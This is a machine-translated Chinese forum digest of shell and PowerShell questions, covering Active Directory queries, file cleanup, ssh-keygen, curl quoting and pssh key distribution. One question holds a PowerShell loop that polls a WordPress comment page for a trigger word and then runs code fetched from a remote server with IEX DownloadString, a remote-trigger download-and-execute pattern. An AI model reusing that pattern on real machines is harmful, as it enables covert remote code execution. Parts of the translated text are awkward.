Articles of shell

powershell:通过get-aduser使用通配符

PowerShell的新手在这里。 我正在构build一个简单的代码来帮助我通过input用户名的字母来查找用户。 我如何得到一个通配符工作瓦特/variables? 这工作: $name=read-host -prompt "enter user's first or last initial" $userInput=get-aduser -f {givenname -like 'A*' } cmd /c echo "output: $userInput" 这不: $name=read-host -prompt "enter user's first or last initial" $userInput=get-aduser -f {givenname -like '$name*' } cmd /c echo "output: $userInput" 代码的第一位提供了名称中带有“A”的用户列表。 任何build议,不胜感激。 谢谢

将分叉进程的PID存储在一个文件中

我有以下,但我担心$! 在发生回声命令之前被覆盖。 你们如何推荐这个呢? sleep 100 & >/dev/null ; echo $! >sleep.pid

PowerShell – 基于“LastAccessTime”删除文件

我试图运行一个命令,应该删除任何超过30天的“LastAccessTime”。 但是,当我运行它时,它只是修改LastAccessTime并不会删除。 命令如下。 Get-ChildItem'\ servername \ share \文件夹中的共享'| ?{$ .LastAccessTime -lt(Get-Date).AddDays(-30)} | ?{!$ .psiscontainer} | 除去项目 我正在运行这个帐户有权访问共享,包括删除访问(手动testing)。 如果我拿出| Remove-Item并将date更改为1天以上,则返回文件。 我应该使用删除项目以外的东西吗?

在跳过networkprofile检查时出错

我已经通过运行$PSVersionTable cmdlet确保我在Windows 7上运行PS 2.0。 当我运行Enable-PSRemoting -SkipNetworkProfileCheck我得到以下错误: – Enable-PSRemoting:找不到与参数名称“SkipNetworkProfileCheck”匹配的参数。

Powershell脚本不工作

我有这个脚本应该移动计算机没有他们的子网,但我不断收到以下错误,我不能为我的生活find问题。 我可以使用move-adobject手动移动电脑。 错误: Move-ADObject : The operation could not be performed because the object's parent is either uninstantiated or deleted At C:\tools\move_computers_ad_subnet.ps1:179 char:22 + Move-ADObject <<<< -Identity $ComputerDN -TargetPath $DestinationDN + CategoryInfo : NotSpecified: (CN=DS-RECEPTION…nta,DC=co,DC=uk:ADObject) [Move-ADObject], ADException + FullyQualifiedErrorId : The operation could not be performed because the object's parent is either uninstantiate d or […]

删除最旧的目录,跳过其中的两个

我必须删除最旧的目录。 但是,这两个目录并不需要被“包含”在这个动作中。 所以,目录内容如下所示: [root@myserver backup]# ls -la total 84 drwxr-xr-x 21 root root 4096 Jun 18 04:10 . drwxr-xr-x 15 root root 4096 Dec 30 11:42 .. drwxr-xr-x 9 root root 4096 Jan 11 07:25 2013 drwxr-xr-x 13 root root 4096 Jun 4 08:01 2014 drwxr-xr-x 2 root root 4096 Jun 12 04:20 2014-06-12 drwxr-xr-x […]

Bash:从无variables的variables执行命令

我有一个脚本应该执行由给定的参数组成的curl命令的问题。 它工作,如果我在子shell中使用eval ,但是,我想避免,因为它似乎是不好的风格据此 这里是脚本的相关部分: #!/bin/bash COMMAND="curl -s -o /dev/null -w '%{http_code}' -X POST -H \"Content-Type:application/json\" -H \"Accept:application/json\" https://www.example.com/login -d '{\"username\":\"$1\",\"password\":\"$2\"}'" echo $(eval $COMMAND) 与eval,我得到201或401取决于给定的凭据的有效性,如预期。 如果我删除eval并使用echo $($COMMAND)我得到了400,这表明一个错误构造的数据参数。 有人可以向我解释,我如何构build命令,以便我可以直接将它传递给子shell?

使用ssh-key gen指定位置和密码时遇到问题

这是我的代码: ssh-keygen -t rsa -C "$APP" 这完美的作品。 然后它会要求我指定位置和密码。 我希望我能一次自动化这一切,但是这个命令失败了: ssh-keygen -t rsa -C "$APP" -P "$SSHKEYPASS" -T ~/.ssh/id_rsa.pub 这个命令似乎失败,虽然,当我指定的密码我想要的密钥和位置在同一行。 我不太了解手册页: http://linux.die.net/man/1/ssh-keygen 谁能告诉我我哪里出了错?

Powershell | DownloadString | 外部网站| 返回

我是一个完全PowerShell新手,所以请放纵;) 我试图编写一个脚本,一台机器检查一个外部网站等待单词:“testing”执行下载。 事情是这样的: $Word = 'test' $WebClientObject = New-Object Net.WebClient $comment = "http://MySite.wordpress.com/comment_section/" $WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)") While($True){ $CommentResult = $WebClientObject.DownloadString($comment) $Found = $CommentResult.contains($Word) If($Found) { IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do') Task_to_do and some blabla commands Return } Start-Sleep -Seconds 60 } 我正在运行PowerShell 2.0。 Windows 7的 发生了什么: 下载不通过互联网执行 这不是来自IP或path的问题 […]

为什么在pssh期间拒绝权限?

我正在尝试添加一个ssh公钥到一堆服务器authorized_keys文件。 我的想法是使用pssh和主机列表。 为了testing,我试图给一个主机pssh: pssh -i -H root@host echo mypublickeyasastring >> /root/.ssh/authorized_keys 当我运行这个时,我得到: -bash: /root/.ssh/authorized_keys: Permission denied 如果从同一台服务器运行pssh,我只需要ssh进入主机ssh root@host ,我就可以运行echo mypublickeyasastring >> /root/.ssh/authorized_keys了。 我一直在浏览pssh手册页,但似乎无法find任何东西。 我错过了什么吗? 有一个更好的方法吗?